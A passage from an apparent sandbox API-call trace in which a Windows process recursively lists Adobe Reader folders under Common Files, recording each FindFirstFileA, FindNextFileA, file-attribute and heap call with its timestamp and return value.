files\\adobe\\arm\\1.0\\cache\\arm_001824245926_1644620493770141623153545149044142307.msi")) returned 1 [0197.957] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0197.957] GetLastError () returned 0x0 [0197.957] GetLastError () returned 0x0 [0197.957] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.957] GetLastError () returned 0x0 [0197.958] GetLastError () returned 0x0 [0197.958] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 1 [0197.958] GetLastError () returned 0x0 [0197.958] GetLastError () returned 0x0 [0197.958] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en_US", cAlternateFileName="")) returned 0 [0197.958] GetLastError () returned 0x12 [0197.959] GetLastError () returned 0x12 [0197.959] GetLastError () returned 0x12 [0197.959] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0197.959] GetLastError () returned 0x12 [0197.960] GetLastError () returned 0x12 [0197.960] GetLastError () returned 0x12 [0197.960] GetLastError () returned 0x12 [0197.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0197.960] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us")) returned 0x10 [0197.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0197.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0197.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0197.961] GetCurrentThreadId () returned 0x9b0 [0197.961] GetLastError () returned 0x12 [0197.961] GetLastError () returned 0x12 [0197.961] GetLastError () returned 0x12 [0197.961] GetLastError () returned 0x12 [0197.961] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0197.961] GetLastError () returned 0x12 [0197.962] GetCurrentThreadId () returned 0x9b0 [0197.962] GetLastError () returned 0x12 [0197.962] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.962] GetLastError () returned 0x12 [0197.962] GetCurrentThreadId () returned 0x9b0 [0197.962] GetLastError () returned 0x12 [0197.962] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Reader_DC.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0197.962] GetLastError () returned 0x12 [0197.962] GetCurrentThreadId () returned 0x9b0 [0197.963] GetLastError () returned 0x12 [0197.963] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Reader_DC.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0197.963] GetLastError () returned 0x12 [0197.963] GetCurrentThreadId () returned 0x9b0 [0197.963] GetLastError () returned 0x12 [0197.963] GetLastError () returned 0x12 [0197.963] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0197.963] GetCurrentThreadId () returned 0x9b0 [0197.963] GetLastError () returned 0x12 [0197.964] GetLastError () returned 0x12 [0197.964] GetLastError () returned 0x12 [0197.964] GetLastError () returned 0x12 [0197.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0197.964] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\reader_dc.helpcfg")) returned 0x20 [0197.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0197.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0197.964] GetLastError () returned 0x12 [0197.965] GetLastError () returned 0x12 [0197.965] GetLastError () returned 0x12 [0197.965] GetLastError () returned 0x12 [0197.965] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg", lpFilePart=0x9bada4*="Reader_DC.helpcfg") returned 0x49 [0197.965] GetCurrentThreadId () returned 0x9b0 [0197.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0197.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0197.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0197.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0197.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0197.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0197.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0197.966] GetCurrentThreadId () returned 0x9b0 [0197.966] GetLastError () returned 0x12 [0197.966] GetLastError () returned 0x12 [0197.966] GetLastError () returned 0x12 [0197.966] GetLastError () returned 0x12 [0197.966] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0197.967] GetLastError () returned 0x12 [0197.967] GetCurrentThreadId () returned 0x9b0 [0197.967] GetLastError () returned 0x12 [0197.967] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.967] GetLastError () returned 0x12 [0197.967] GetCurrentThreadId () returned 0x9b0 [0197.967] GetLastError () returned 0x12 [0197.967] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="DC", cAlternateFileName="")) returned 1 [0197.968] GetLastError () returned 0x12 [0197.968] GetCurrentThreadId () returned 0x9b0 [0197.968] GetLastError () returned 0x12 [0197.968] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="DC", cAlternateFileName="")) returned 0 [0197.968] GetLastError () returned 0x12 [0197.968] GetCurrentThreadId () returned 0x9b0 [0197.968] GetLastError () returned 0x12 [0197.968] GetLastError () returned 0x12 [0197.968] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0197.969] GetCurrentThreadId () returned 0x9b0 [0197.969] GetLastError () returned 0x12 [0197.969] GetLastError () returned 0x12 [0197.969] GetLastError () returned 0x12 [0197.969] GetLastError () returned 0x12 [0197.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0197.969] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc")) returned 0x10 [0197.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0197.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0197.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0197.970] GetLastError () returned 0x12 [0197.970] GetLastError () returned 0x12 [0197.971] GetLastError () returned 0x12 [0197.971] GetLastError () returned 0x12 [0197.971] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0197.971] GetLastError () returned 0x12 [0197.971] GetCurrentThreadId () returned 0x9b0 [0197.971] GetLastError () returned 0x12 [0197.971] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.972] GetLastError () returned 0x12 [0197.972] GetCurrentThreadId () returned 0x9b0 [0197.972] GetLastError () returned 0x12 [0197.972] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0197.972] GetLastError () returned 0x12 [0197.972] GetCurrentThreadId () returned 0x9b0 [0197.972] GetLastError () returned 0x12 [0197.972] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0197.972] GetLastError () returned 0x12 [0197.973] GetCurrentThreadId () returned 0x9b0 [0197.973] GetLastError () returned 0x12 [0197.973] GetLastError () returned 0x12 [0197.973] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0197.973] GetCurrentThreadId () returned 0x9b0 [0197.973] GetLastError () returned 0x12 [0197.973] GetLastError () returned 0x12 [0197.973] GetLastError () returned 0x12 [0197.974] GetLastError () returned 0x12 [0197.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0197.974] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics")) returned 0x10 [0197.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0197.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0197.974] GetCurrentThreadId () returned 0x9b0 [0197.974] GetLastError () returned 0x12 [0197.974] GetLastError () returned 0x12 [0197.975] GetLastError () returned 0x12 [0197.975] GetLastError () returned 0x12 [0197.975] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0197.975] GetLastError () returned 0x12 [0197.975] GetCurrentThreadId () returned 0x9b0 [0197.975] GetLastError () returned 0x12 [0197.976] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.976] GetLastError () returned 0x12 [0197.976] GetCurrentThreadId () returned 0x9b0 [0197.976] GetLastError () returned 0x12 [0197.976] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0197.976] GetLastError () returned 0x12 [0197.976] GetCurrentThreadId () returned 0x9b0 [0197.976] GetLastError () returned 0x12 [0197.976] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0197.977] GetLastError () returned 0x12 [0197.977] GetCurrentThreadId () returned 0x9b0 [0197.977] GetLastError () returned 0x12 [0197.977] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0197.977] GetLastError () returned 0x12 [0197.977] GetCurrentThreadId () returned 0x9b0 [0197.977] GetLastError () returned 0x12 [0197.977] GetLastError () returned 0x12 [0197.977] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0197.977] GetLastError () returned 0x12 [0197.978] GetLastError () returned 0x12 [0197.978] GetLastError () returned 0x12 [0197.978] GetLastError () returned 0x12 [0197.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0197.978] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2")) returned 0x10 [0198.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0198.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0198.001] GetCurrentThreadId () returned 0x9b0 [0198.001] GetLastError () returned 0x12 [0198.001] GetLastError () returned 0x12 [0198.001] GetLastError () returned 0x12 [0198.001] GetLastError () returned 0x12 [0198.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0198.002] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers")) returned 0x10 [0198.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0198.002] GetCurrentThreadId () returned 0x9b0 [0198.002] GetLastError () returned 0x12 [0198.002] GetLastError () returned 0x12 [0198.002] GetLastError () returned 0x12 [0198.002] GetLastError () returned 0x12 [0198.003] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0198.004] GetLastError () returned 0x12 [0198.004] GetCurrentThreadId () returned 0x9b0 [0198.004] GetLastError () returned 0x12 [0198.004] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.004] GetLastError () returned 0x12 [0198.004] GetCurrentThreadId () returned 0x9b0 [0198.005] GetLastError () returned 0x12 [0198.005] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="DISPLA~2.TXT")) returned 1 [0198.005] GetLastError () returned 0x12 [0198.005] GetCurrentThreadId () returned 0x9b0 [0198.005] GetLastError () returned 0x12 [0198.005] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="DISPLA~3.TXT")) returned 1 [0198.005] GetLastError () returned 0x12 [0198.005] GetCurrentThreadId () returned 0x9b0 [0198.005] GetLastError () returned 0x12 [0198.005] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="DISPLA~4.TXT")) returned 1 [0198.006] GetLastError () returned 0x12 [0198.006] GetCurrentThreadId () returned 0x9b0 [0198.006] GetLastError () returned 0x12 [0198.006] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="DISPLA~1.TXT")) returned 1 [0198.006] GetLastError () returned 0x12 [0198.006] GetCurrentThreadId () returned 0x9b0 [0198.006] GetLastError () returned 0x12 [0198.006] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, 